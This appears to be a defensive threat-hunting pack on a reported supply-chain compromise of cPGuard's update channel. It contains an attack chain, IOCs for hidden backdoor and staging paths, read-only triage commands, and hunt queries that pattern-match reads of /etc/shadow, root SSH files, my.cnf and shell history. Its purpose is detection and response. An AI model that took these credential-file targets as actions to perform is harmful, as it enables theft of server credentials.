cPGuard Update Channel Compromise (OPSSHIELD)
Executive Summary
What happened. On 2 November 2026 at 02:06 UTC an unidentified attacker used compromised credentials to reach the update distribution infrastructure (CDN) of OPSSHIELD, the maker of cPGuard, a server security product for cPanel and Linux hosting servers. The attacker used that access to push a malicious script through the legitimate auto-update channel in cPGuard versions 5.88.12 through 5.88.19. OPSSHIELD says it detected the attack within 12 hours, secured the compromised account, cleared its infrastructure credentials and stopped further distribution. How the credentials were obtained is still under investigation.
What the script does. Per the vendor, it collected /etc/shadow and /etc/passwd, root's MariaDB/MySQL configuration (my.cnf), root's shell history and root's SSH authorization and known-hosts files, staged them in a hidden directory under /var/tmp, uploaded them to OPSSHIELD's own licensing server under a compromised account for the attacker to retrieve later, and left a backdoor shell. OPSSHIELD confirmed the attacker retrieved some of that data and estimates 32 collected files, each tied to one customer server. This is a preliminary count of confirmed retrieval, not the number of affected servers.
Scale, stated plainly. BleepingComputer reports that an OPSSHIELD spokesperson said 2,946 servers were affected and that a billing system database was also copied. Neither figure appears in the vendor advisory, The Hacker News or SecurityOnline, so both are single-sourced here and are not used by any query. The BleepingComputer snapshot is also a model-generated extraction, not a verbatim copy (see Section 2).
Correction to a common summary. Some coverage says the script took "root SSH keys". The vendor's list is root's SSH authorization and known-hosts files. Private keys under /root/.ssh appear only in the vendor's rotation advice ("replace SSH private keys stored under /root/.ssh"), as a precaution. Rotate them anyway, but do not report private-key theft as confirmed.
Highest-value defensive angle. The product is the delivery vehicle, so a clean version number today proves nothing: the vendor says a server that installed an affected update must be treated as potentially compromised even if it now runs 5.88.25 or later, because credentials copied before cleanup may still work. Run the install_log check, hunt the named hidden paths and the credential-sweep and upload behavior, then rotate credentials. The vendor does not recommend a routine rebuild; it may if you find other signs of compromise.
Defender priority: on every cPGuard server run grep 'Successfully updated' /opt/cpguard/logs/install_log; any entry from 5.88.12 to 5.88.19 means treat the host as compromised. Update with cpgcli update --start, confirm 5.88.25 or later with cpgcli --version, then reset root and every password-enabled local account from a trusted environment and rotate database passwords, S3 keys, DigitalOcean tokens, secrets in root's shell history and the SSH private keys under /root/.ssh.
Source Review & Web Hunter Notes
| Tier | Source | Key Finding | Carry Forward |
|---|---|---|---|
| 1 | OPSSHIELD: cPGuard security advisory, update channel compromise (published 2026-11-03) | Vendor timeline, affected range, collected data, install_log check, the four named artifacts, fix version, remediation, 32-file estimate | yes |
| 2 | The Hacker News (2026-11-03) | Independent write-up of the advisory; adds that the support-access feature places an OPSSHIELD public key in root's authorized_keys and that exposure of the matching private key is not stated | yes |
| 2 | SecurityOnline (Daily CyberSecurity) | Corroborates the date, versions, hidden folder under /var/tmp and backdoor path. Says "root SSH keys" loosely (see Section 1) | partial |
| 2 | BleepingComputer (2026-11-03) | Only source for the 2,946-server figure and the billing database claim. Direct fetch was blocked (HTTP 403); the snapshot is a WebFetch extraction, not verbatim | partial |
Decisions and conflicts
- Artifacts. All four atomic artifacts (script name, backdoor shell, collection directory, loot archive) were verified by hand against the saved vendor snapshot and The Hacker News snapshot. The backdoor shell path is also in the SecurityOnline snapshot. The Hacker News derives its list from the vendor, so these are not independent sources: every artifact ships as detect, never prevent.
- No hashes, IPs or malicious domains were published by any source. None are invented; the Falcon CSV carries labelled
REPLACE_WITH_placeholders. - Versions are not IOCs. 5.88.12 through 5.88.19 (affected) and 5.88.25 (fixed) live in prose and the version table only. Versions 5.88.20 to 5.88.24 are described by no source as either affected or fixed.
- Time zone. The vendor's example
install_loglines use a day-first date (02-11-2026 02:46:04) with no stated zone; do not assume UTC. - Unpublished: the upload hostname and method, the update process names, how the script is launched, whether the backdoor shell is a script or a binary, and whether the support-access private key was exposed.
- Scale conflict. The vendor's "32 files" is retrieval from its licensing server and one extraction of the BleepingComputer text garbles it as "from each customer". Treat 32 as a confirmed floor, not a scope.
- Injected instructions. No fetched page contained text directing an AI agent to act. Nothing was dropped on that ground.
- Naming. No source assigns an actor, campaign or malware name. The pack uses only "cPGuard" and "OPSSHIELD".
Hunt Brief & Attack Chain
Affected and fixed versions (not IOCs)
| Item | Value | Source |
|---|---|---|
| Affected updates | cPGuard 5.88.12 through 5.88.19, inclusive | OPSSHIELD advisory; The Hacker News |
| Fixed | 5.88.25 or later (removes the known backdoor and staged files) | OPSSHIELD advisory |
| Unknown | 5.88.20 to 5.88.24: no source says affected or fixed. Update to 5.88.25 or later | Gap |
| Window | Access gained 2026-11-02 02:06 UTC; detected within 12 hours | OPSSHIELD advisory |
Hunt hypotheses
| # | Hypothesis | Query | Confidence |
|---|---|---|---|
| H1 | The malicious script ran on the host: its filename appears on a command line | Q1 | High |
| H2 | The hidden backdoor shell or collection directory exists and was executed or written | Q2, Q3 | High |
| H3 | Root credential files were swept by one parent process | Q4 | Medium |
| H4 | The loot archive was built and uploaded | Q5, Q6, Q7 | Medium |
| H5 | The host updated through the affected range (scoping) | Q8 plus the Section 7 install_log check | Medium |
Attack chain
| Step | Behavior | Telemetry | Hunt Angle |
|---|---|---|---|
| 1 | Attacker uses compromised credentials on the vendor CDN and publishes the script in the update channel | None on your side: vendor infrastructure | Not huntable; confirm affected versions with install_log |
| 2 | Server's scheduled update check installs 5.88.12 to 5.88.19 and runs the script | Process creation with command line and parent (CrowdStrike: ProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents); product log on disk | Q1, Q8; install_log check |
| 3 | Script reads shadow, passwd, root SSH files, my.cnf and shell history | Process creation with command line (same as step 2). Shell-builtin reads leave no event | Q4 |
| 4 | Files staged in /var/tmp/.cpg91511 and archived to loot.tgz | Process creation with command line; executable or file written (CrowdStrike: ElfFileWritten for executables) | Q2, Q3, Q5 |
| 5 | Archive uploaded to the OPSSHIELD licensing server under a compromised account | Process creation with command line; DNS lookup with the requesting process (CrowdStrike: DnsRequest. SentinelOne: DNS Resolved. Defender: DeviceEvents DnsQueryResponse); outbound network connection | Q6, Q7 |
| 6 | Hidden root backdoor shell left at /var/tmp/.cpg91511_sh | Process creation; executable written | Q2, Q3 |
| 7 | Attacker later retrieves the data from the licensing server and may use hashes and keys | Outside endpoint telemetry (vendor server; later logons need sshd or authentication logs) | Section 7 log checks; credential rotation |
Consolidated IOC Table
| Type | Value | Confidence | Action | Context |
|---|---|---|---|---|
| filename | cpguard-v58812-i91511.sh | high | detect | Malicious script (OPSSHIELD advisory; The Hacker News) |
| path | /var/tmp/.cpg91511_sh | high | detect | Backdoor shell removed by the corrective update (advisory; The Hacker News; SecurityOnline) |
| path | /var/tmp/.cpg91511 | high | detect | Collection directory (advisory; The Hacker News) |
| path | /var/tmp/.cpg91511/loot.tgz | high | detect | Archive staged by the script (advisory; The Hacker News) |
| sha256 | REPLACE_WITH_SCRIPT_SHA256 | placeholder | detect | No hash published; fill from a preserved copy |
| sha256 | REPLACE_WITH_BACKDOOR_SHELL_SHA256 | placeholder | detect | No hash published; fill from a preserved copy |
| domain | REPLACE_WITH_LICENSING_SERVER_DOMAIN | placeholder | detect | Upload point; hostname not published and legitimate for normal licensing |
| evidence file | /opt/cpguard/logs/install_log | n/a | enrich | Legitimate product log used for the exposure check; not an indicator |
Four sourced indicators, three placeholders. cpgcli, /opt/cpguard/ and the cPGuard binaries are legitimate product files: they are context only and never ship as prevent. No IP addresses are published; the version numbers 5.88.12 to 5.88.19 and 5.88.25 are not indicators.
Affected Surface & Telemetry Matrix
| Surface | Telemetry | Priority | Gap |
|---|---|---|---|
| Linux hosting servers running cPGuard (cPanel and other Linux hosting) | Process creation with command line, path and parent (CrowdStrike: ProcessRollup2, SyntheticProcessRollup2. SentinelOne: Process Creation. Defender: DeviceProcessEvents) | High | Sensor must be on the server; shell builtin reads and in-process activity produce no event |
| Hidden executables under /var/tmp | Executable written (CrowdStrike: ElfFileWritten. SentinelOne: File Creation. Defender: DeviceFileEvents FileCreated) | Medium | Non-executable files such as loot.tgz and a script backdoor are not reported as executables |
| Upload to the licensing server | DNS lookup (CrowdStrike: DnsRequest. SentinelOne: DNS Resolved. Defender: DeviceEvents DnsQueryResponse); outbound connection (CrowdStrike: NetworkConnectIP4. SentinelOne: IP Connect. Defender: DeviceNetworkEvents) | Medium | Hostname unpublished; destination is a legitimate vendor host |
| Update history and product log | File content on disk (/opt/cpguard/logs/install_log); no endpoint event carries it | High | Outside endpoint telemetry: use the Section 7 shell check, RTR or a configuration tool |
| Downstream credential use (SSH, database, S3, DigitalOcean) | Authentication logs, database logs, cloud audit logs | High | Outside endpoint telemetry |
ATT&CK Mapping
| Tactic | Technique | Observed Behavior | Query / Control |
|---|---|---|---|
| Initial Access | T1195.002 Compromise Software Supply Chain | Malicious script delivered through the vendor update channel | Q1, Q8; Section 12 items 1, 5 |
| Execution | T1059.004 Unix Shell | Shell script and backdoor shell | Q1, Q2 |
| Defense Evasion | T1564.001 Hidden Files and Directories | Dot-prefixed /var/tmp/.cpg91511 and .cpg91511_sh | Q2, Q3 |
| Credential Access | T1003.008 /etc/passwd and /etc/shadow | Password hashes collected | Q4; Section 12 items 2, 6 |
| Credential Access | T1552.001 Credentials In Files | Root my.cnf collected | Q4; Section 12 item 8 |
| Credential Access | T1552.003 Shell History | Root shell history collected (secrets recorded in it) | Q4; Section 12 item 8 |
| Credential Access | T1552.004 Private Keys | Root SSH authorization and known-hosts files collected; private keys at risk, theft not confirmed | Q4; Section 12 item 2 |
| Collection | T1074.001 Local Data Staging; T1560.001 Archive via Utility | loot.tgz built in the hidden directory | Q5 |
| Exfiltration | T1041 Exfiltration Over C2 Channel (used loosely: upload to a vendor-controlled collection point) | Archive uploaded to the licensing server under a compromised account | Q6, Q7; Section 12 item 3 |
Native Audit-Log Hunts
These are read-only checks for each cPGuard server. The vendor says a missing or incomplete log does not show a server was unaffected, and the corrective update removes the named files.
7.1 Update history (the vendor's own check)
grep 'Successfully updated' /opt/cpguard/logs/install_log grep -E 'Successfully updated to 5\.88\.1[2-9]' /opt/cpguard/logs/install_log
Any entry from 5.88.12 to 5.88.19 means the server installed an affected update. The vendor's example lines show five entries on 02-11-2026 (day-first, zone unstated).
7.2 Installed version
cpgcli --version
Must report 5.88.25 or later. A fixed version does not clear a host that installed an affected one earlier.
7.3 Named artifacts
# Filesystem sweep (read-only) ls -la /var/tmp/.cpg91511 /var/tmp/.cpg91511_sh 2>/dev/null find /var/tmp /tmp /root /opt/cpguard -maxdepth 3 \( -name '.cpg*' -o -name 'cpguard-v*-i*.sh' \) 2>/dev/null stat /etc/shadow # Remember: the corrective update removes these files, so a clean result does not show the script never ran.
7.4 Logons since the compromise (credentials may have been used)
last -F root | head -50 grep -E 'Accepted (password|publickey)' /var/log/secure /var/log/auth.log 2>/dev/null | tail -200 cat /root/.ssh/authorized_keys
Look for logons you cannot explain since 2026-11-02 and for unknown keys. An OPSSHIELD support-access key is legitimate if support access was granted; OPSSHIELD is shipping an update to remove those keys.
7.5 Database and cloud audit
Review MariaDB/MySQL logs for root logins from unexpected sources, and review S3 and DigitalOcean audit logs since 2026-11-02 for the keys and tokens that were present on the server or recorded in root's shell history (the vendor names S3 access keys and DigitalOcean tokens).
Hunt Queries: CrowdStrike CQL, SentinelOne PowerQuery and Defender XDR KQL
Use your tenant's own address. SentinelOne does not document a link that pre-fills a query, so each "Copy & open SentinelOne" button copies the query and opens this console: paste it into PowerQuery.
Pick your portal. Microsoft documents a Share link in advanced hunting but not its URL format, so each "Copy & open Defender" button copies the query and opens Advanced hunting: paste it into the editor.
Looks for: Looks for any Linux process whose command line names the malicious script cpguard-v58812-i91511.sh. The regex also matches the same cpguard-v<digits>-i<digits>.sh shape, because the digits look like a version and an incident id; that generalisation is a hunting heuristic, not something a source states. FP: none known for the exact name; the vendor ships no legitimate script with this name.
Known limitations and deployment notes
- PowerQuery: A script run by a process the agent did not observe starting is not captured.
- PowerQuery assumes: endpoint.os holds the lowercase value linux.
- PowerQuery assumes: The script name appears in tgt.process.cmdline when a shell interpreter runs it.
- KQL – Defender XDR: A script run by a process the sensor did not observe starting is not captured.
- KQL – Defender XDR assumes: DeviceProcessEvents has no operating system column, so no Linux filter is applied; the script name pattern is specific to the campaign.
- KQL – Defender XDR assumes: The script name appears in ProcessCommandLine when a shell interpreter runs it.
// HUNT: cPGuard update channel malicious script execution // MITRE: T1195.002, T1059.004 // CONF: high FP: low COST: low | REQUIRES: Linux process creation with command line (ProcessRollup2) // SOURCE: script filename cpguard-v58812-i91511.sh (OPSSHIELD advisory; The Hacker News) // NOTE: the pattern below also matches the same name shape with other digits (heuristic, unconfirmed) #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | event_platform=Lin | CommandLine=/cpguard-v\d+-i\d+\.sh/i | table([@timestamp, ComputerName, aid, UserName, FileName, CommandLine, ParentBaseFileName, ImageFileName, SHA256HashData])
3 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeendpoint.os: Endpoint OStgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator process
Optional fields
tgt.process.image.sha256: Hash. Population varies by agent version.
Fallbacks
endpoint.name→agent.uuid: Changes the displayed host identifier only.
Readiness test
event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.cmdline = * | limit 5 | columns event.time, endpoint.name, tgt.process.cmdline
// HUNT: cPGuard update channel malicious script execution // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1195.002, T1059.004 // CONF: high | FP: low // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the update script name shape on the created process command line, Linux only. matches is case-insensitive, which reproduces the CQL /i intent. The creator is src.process.name. // REQUIRES: SentinelOne Deep Visibility process-creation events from Linux agents // TUNING: The pattern also matches the same name shape with other digits; confirm a hit against the advisory script name before acting. // LOOKBACK: 7d; set the console time picker, extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A script run by a process the agent did not observe starting is not captured. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.cmdline matches 'cpguard-v\\d+-i\\d+\\.sh' | columns event.time, endpoint.name, agent.uuid, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name, tgt.process.image.path, tgt.process.image.sha256 | sort -event.time | limit 200
Automated validation: static-passed
2 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Creator process
Optional fields
SHA1: Hash. SHA256 is often unpopulated in DeviceProcessEvents; SHA1 is the safer pivot.
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine | take 5
// HUNT: cPGuard update channel malicious script execution // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1195.002, T1059.004 // CONF: high | FP: low // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the update script name shape on the created process command line. matches regex with (?i) reproduces the CQL /i intent. The creator is InitiatingProcessFileName. // REQUIRES: Defender for Endpoint on Linux process-creation telemetry (DeviceProcessEvents) // TUNING: The pattern also matches the same name shape with other digits; confirm a hit against the advisory script name before acting. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: A script run by a process the sensor did not observe starting is not captured. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where ProcessCommandLine matches regex @"(?i)cpguard-v\d+-i\d+\.sh" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, FolderPath, SHA1, SHA256 | sort by Timestamp desc | take 200
Looks for: Looks for execution of the hidden backdoor shell /var/tmp/.cpg91511_sh or anything run from, or pointed at, the hidden collection directory /var/tmp/.cpg91511. The basename match uses FileName with no path slash; the command-line branch escapes the slash. The digits are generalised to \d+ (heuristic). FP: none known.
Known limitations and deployment notes
- PowerQuery: Files deleted by the corrective update leave no process event to find after the fact.
- PowerQuery assumes: endpoint.os holds the lowercase value linux.
- PowerQuery assumes: tgt.process.name holds the basename of the executed file.
- KQL – Defender XDR: Files deleted by the corrective update leave no process event to find after the fact.
- KQL – Defender XDR assumes: DeviceProcessEvents has no operating system column, so no Linux filter is applied; the dot-prefixed path pattern is specific to the campaign.
- KQL – Defender XDR assumes: FileName holds the basename of the executed file.
// HUNT: cPGuard hidden backdoor shell or collection directory in use // MITRE: T1564.001, T1059.004 // CONF: high FP: low COST: low | REQUIRES: Linux process creation with command line (ProcessRollup2) // SOURCE: /var/tmp/.cpg91511_sh and /var/tmp/.cpg91511 (OPSSHIELD advisory; The Hacker News; SecurityOnline for the shell) // NOTE: absence proves nothing, the corrective update deletes these files #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | event_platform=Lin | FileName=/^\.cpg\d+_sh$/i or CommandLine=/\/var\/tmp\/\.cpg\d+/i | table([@timestamp, ComputerName, aid, UserName, FileName, CommandLine, ParentBaseFileName, ImageFileName, SHA256HashData])
4 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeendpoint.os: Endpoint OStgt.process.name: Created process nametgt.process.cmdline: Created command line
Recommended fields
src.process.name: Creator process
Optional fields
tgt.process.image.sha256: Hash. Population varies by agent version.
Fallbacks
endpoint.name→agent.uuid: Changes the displayed host identifier only.
Readiness test
event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.name = * tgt.process.cmdline = * | limit 5 | columns event.time, endpoint.name, tgt.process.name, tgt.process.cmdline
// HUNT: cPGuard hidden backdoor shell or collection directory in use // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1564.001, T1059.004 // CONF: high | FP: low // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the hidden shell by created process name, or the hidden collection directory on the command line. matches is case-insensitive, which reproduces the CQL /i intent. // REQUIRES: SentinelOne Deep Visibility process-creation events from Linux agents // TUNING: None needed for the exact backdoor path; absence proves nothing because the corrective update deletes these files. // LOOKBACK: 7d; set the console time picker, extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Files deleted by the corrective update leave no process event to find after the fact. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' endpoint.os = 'linux' (tgt.process.name matches '^\\.cpg\\d+_sh$' or tgt.process.cmdline matches '/var/tmp/\\.cpg\\d+') | columns event.time, endpoint.name, agent.uuid, src.process.user, tgt.process.name, tgt.process.cmdline, src.process.name, tgt.process.image.path, tgt.process.image.sha256 | sort -event.time | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeFileName: Created process nameProcessCommandLine: Created command line
Recommended fields
InitiatingProcessFileName: Creator process
Optional fields
SHA1: Hash. SHA256 is often unpopulated in DeviceProcessEvents; SHA1 is the safer pivot.
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, FileName, ProcessCommandLine | take 5
// HUNT: cPGuard hidden backdoor shell or collection directory in use // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1564.001, T1059.004 // CONF: high | FP: low // EQUIVALENCE: equivalent-with-schema-assumptions - Same process-creation predicate: the hidden shell by created process name, or the hidden collection directory on the command line. matches regex with (?i) reproduces the CQL /i intent. // REQUIRES: Defender for Endpoint on Linux process-creation telemetry (DeviceProcessEvents) // TUNING: None needed for the exact backdoor path; absence proves nothing because the corrective update deletes these files. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Files deleted by the corrective update leave no process event to find after the fact. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceProcessEvents | where Timestamp >= ago(7d) | where FileName matches regex @"(?i)^\.cpg\d+_sh$" or ProcessCommandLine matches regex @"(?i)/var/tmp/\.cpg\d+" | project Timestamp, ReportId, DeviceId, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, FolderPath, SHA1, SHA256 | sort by Timestamp desc | take 200
Looks for: Looks for Linux executables written to the hidden /var/tmp/.cpg<digits> paths named by the vendor, plus any hidden dotfile executable written directly under /var/tmp. The backdoor shell may be a copied shell binary (not stated by any source), which is why this watches executable writes. FP: the second branch is generic and can match installers that unpack hidden helpers into /var/tmp; the cPGuard-specific first branch should not.
Known limitations and deployment notes
- PowerQuery: No ELF-content filter exists, so hidden non-executable files also match.
- PowerQuery: File modifications of an existing hidden file are not covered; only creations.
- PowerQuery assumes: endpoint.os holds the lowercase value linux.
- PowerQuery assumes: The CQL second branch is case-sensitive; matches here is case-insensitive, which only widens it slightly.
- KQL – Defender XDR: No ELF-content filter exists, so hidden non-executable files also match.
- KQL – Defender XDR: Modifications of an existing hidden file are not covered; only creations.
- KQL – Defender XDR assumes: FolderPath holds the full path of the written file on Linux sensors.
- KQL – Defender XDR assumes: FileCreated is the action recorded for a new file.
// HUNT: Hidden ELF written under /var/tmp (cPGuard backdoor shell path and generic dotfile executables) // MITRE: T1564.001, T1105 // CONF: medium FP: medium COST: low | REQUIRES: Linux executable-write telemetry (ElfFileWritten) // FALSE POSITIVES: installers and package scripts that stage hidden helper binaries in /var/tmp // TUNING: after a 30 day baseline, drop the generic second branch for known installers by adding // | ContextBaseFileName != /^(rpm|dpkg|yum|dnf|apt|apt-get|cpanel_pkg)$/i (confirm the field on your sensor) // NOTE: the exact backdoor path is /var/tmp/.cpg91511_sh per the OPSSHIELD advisory #event_simpleName=ElfFileWritten | event_platform=Lin | TargetFileName=/^\/var\/tmp\/\.cpg\d+/i or TargetFileName=/^\/var\/tmp\/\.[^\/]+$/ | table([@timestamp, ComputerName, aid, TargetFileName, SHA256HashData, ContextProcessId])
3 required fields · View requirements
Required telemetry
- File Creation
Required fields
event.type: Event typeendpoint.os: Endpoint OStgt.file.path: Created file path
Recommended fields
src.process.name: Writing process
Optional fields
tgt.file.sha256: File hash. Population varies by agent version.
Fallbacks
endpoint.name→agent.uuid: Changes the displayed host identifier only.
Readiness test
event.type = 'File Creation' endpoint.os = 'linux' tgt.file.path = * | limit 5 | columns event.time, endpoint.name, tgt.file.path
// HUNT: Hidden ELF written under /var/tmp (cPGuard backdoor shell path and generic dotfile executables) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1564.001, T1105 // CONF: medium | FP: medium // FALSE POSITIVES: installers and package scripts that stage hidden helper binaries in /var/tmp // EQUIVALENCE: approximate-analytic - The CQL uses a Falcon executable-write event that fires only for ELF content. SentinelOne has no ELF-specific file event, so this hunts any file created in the same hidden /var/tmp locations. It is broader than the CQL and will return hidden non-executable files too. // REQUIRES: SentinelOne Deep Visibility file-creation events from Linux agents // TUNING: After a 30 day baseline, exclude package managers and installers by src.process.name; the CQL TUNING comment names the same idea. // LOOKBACK: 7d; set the console time picker, extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: No ELF-content filter exists, so hidden non-executable files also match. File modifications of an existing hidden file are not covered; only creations. // VALIDATION LEVEL: static-reviewed event.type = 'File Creation' endpoint.os = 'linux' (tgt.file.path matches '^/var/tmp/\\.cpg\\d+' or tgt.file.path matches '^/var/tmp/\\.[^/]+$') | columns event.time, endpoint.name, agent.uuid, tgt.file.path, tgt.file.sha256, src.process.name, src.process.pid | sort -event.time | limit 200
Automated validation: static-passed
3 required fields · View requirements
Required telemetry
- DeviceFileEvents
Required fields
Timestamp: Event timeActionType: ActionFolderPath: Written file path
Recommended fields
InitiatingProcessFileName: Writing process
Optional fields
SHA1: Hash. SHA256 is often unpopulated; SHA1 is the safer pivot.
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceFileEvents | where Timestamp > ago(1d) | project Timestamp, ActionType, FolderPath | take 5
// HUNT: Hidden ELF written under /var/tmp (cPGuard backdoor shell path and generic dotfile executables) // SCHEMA PROFILE: microsoft-defender-xdr // MITRE: T1564.001, T1105 // CONF: medium | FP: medium // FALSE POSITIVES: installers and package scripts that stage hidden helper binaries in /var/tmp // EQUIVALENCE: approximate-analytic - The CQL uses a Falcon executable-write event that fires only for ELF content. DeviceFileEvents has no ELF-specific action, so this hunts any file created in the same hidden /var/tmp locations. It is broader than the CQL and will return hidden non-executable files too. // REQUIRES: Defender for Endpoint on Linux file telemetry (DeviceFileEvents) // TUNING: After a 30 day baseline, exclude package managers and installers by InitiatingProcessFileName. // LOOKBACK: 7d; extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: No ELF-content filter exists, so hidden non-executable files also match. Modifications of an existing hidden file are not covered; only creations. // VALIDATION LEVEL: schema-aligned // AUTOMATED VALIDATION: static-passed; static=passed; fixtures=0/0 DeviceFileEvents | where Timestamp >= ago(7d) | where ActionType == "FileCreated" | where FolderPath matches regex @"(?i)^/var/tmp/\.cpg\d+" or FolderPath matches regex @"^/var/tmp/\.[^/]+$" | project Timestamp, ReportId, DeviceId, DeviceName, ActionType, FolderPath, FileName, SHA1, SHA256, InitiatingProcessId, InitiatingProcessFileName | sort by Timestamp desc | take 200
Looks for: Counts processes under the same parent that name two or more of the files the vendor says the script collected: /etc/shadow, /etc/passwd, root's SSH authorization and known-hosts files, root's my.cnf and root's shell history. A script doing the harvest produces several sibling commands under one parent, which is the signal. File reads by shell builtins produce no process event, so a quiet result is not clearance. FP: backup agents, configuration management and compliance scanners read the same files.
Known limitations and deployment notes
- PowerQuery: Reads done inside the shell with builtins and redirects create no process and are not counted.
- PowerQuery: any() returns one sample per group, not the full list the CQL collects.
- PowerQuery assumes: endpoint.os holds the lowercase value linux.
- PowerQuery assumes: src.process.pid identifies the creator within one endpoint and short window; PID reuse over a long window can merge two creators.
- KQL – Defender XDR: Reads done inside the shell with builtins and redirects create no process and are not counted.
- KQL – Defender XDR assumes: DeviceProcessEvents has no operating system column, so no Linux filter is applied; the credential paths are Linux-specific.
- KQL – Defender XDR assumes: InitiatingProcessId identifies the creator within one device and short window; PID reuse over a long window can merge two creators.
// HUNT: Multiple root credential-file reads from one parent process (cPGuard script collection step) // MITRE: T1003.008, T1552.001, T1552.003, T1552.004 // CONF: medium FP: medium COST: medium | REQUIRES: Linux process creation with command line (ProcessRollup2) // FALSE POSITIVES: backup agents, configuration management, compliance and audit scanners // TUNING: exclude known tooling after baselining, e.g. add before groupBy: // | ParentBaseFileName != /^(ansible-playbook|puppet|chef-client|salt-minion|rsnapshot|borg)$/i // NOTE: reads done inside the shell with builtins and redirects do not create a process, so this under-counts #event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/ | event_platform=Lin | CommandLine=/(\/etc\/shadow|\/etc\/passwd|\/root\/\.ssh\/(authorized_keys|known_hosts)|\/root\/\.my\.cnf|\/root\/\.bash_history)/i | groupBy([aid, ComputerName, ParentProcessId], function=[count(as=credCmds), min(@timestamp, as=firstSeen), max(@timestamp, as=lastSeen), collect([FileName, CommandLine, ParentBaseFileName], limit=20)]) | credCmds >= 2
6 required fields · View requirements
Required telemetry
- Process Creation
Required fields
event.type: Event typeendpoint.os: Endpoint OStgt.process.cmdline: Created command lineagent.uuid: Endpoint identifiersrc.process.pid: Creator process IDevent.time: Event time
Recommended fields
src.process.name: Creator process
Fallbacks
endpoint.name→agent.uuid: Changes the displayed host identifier only.
Readiness test
event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.cmdline = * src.process.pid = * | limit 5 | columns event.time, agent.uuid, endpoint.name, src.process.pid, tgt.process.cmdline
// HUNT: Multiple root credential-file reads from one parent process (cPGuard script collection step) // SCHEMA PROFILE: sentinelone-endpoint-ocsf // MITRE: T1003.008, T1552.001, T1552.003, T1552.004 // CONF: medium | FP: medium // FALSE POSITIVES: backup agents, configuration management, compliance and audit scanners // EQUIVALENCE: equivalent-with-schema-assumptions - Same predicate and threshold: two or more credential-file command lines sharing one creator process on one endpoint. The creator is src.process.pid on a process-creation event. matches is case-insensitive, which reproduces the CQL /i intent. // REQUIRES: SentinelOne Deep Visibility process-creation events from Linux agents // TUNING: Exclude known configuration management and backup tooling by creator name after baselining. // LOOKBACK: 7d; set the console time picker, extend to 30d for the incident window // CONFIGURATION: No lookup objects required. // KNOWN GAPS: Reads done inside the shell with builtins and redirects create no process and are not counted. any() returns one sample per group, not the full list the CQL collects. // VALIDATION LEVEL: static-reviewed event.type = 'Process Creation' endpoint.os = 'linux' tgt.process.cmdline matches '(/etc/shadow|/etc/passwd|/root/\\.ssh/(authorized_keys|known_hosts)|/root/\\.my\\.cnf|/root/\\.bash_history)' | group cred_cmds=count(), first_seen=min(event.time), last_seen=max(event.time), tool=any(tgt.process.name), sample_cmdline=any(tgt.process.cmdline), creator=any(src.process.name) by agent.uuid, endpoint.name, src.process.pid | filter cred_cmds >= 2 | sort -cred_cmds | limit 200
Automated validation: static-passed
4 required fields · View requirements
Required telemetry
- DeviceProcessEvents
Required fields
Timestamp: Event timeProcessCommandLine: Created command lineDeviceId: Device identifierInitiatingProcessId: Initiating process ID
Recommended fields
InitiatingProcessFileName: Initiating process
Fallbacks
DeviceName→DeviceId: Changes the displayed host identifier only.
Readiness test
DeviceProcessEvents | where Timestamp > ago(1d) | project Timestamp, DeviceId, InitiatingProcessId, ProcessCommandLine | take 5
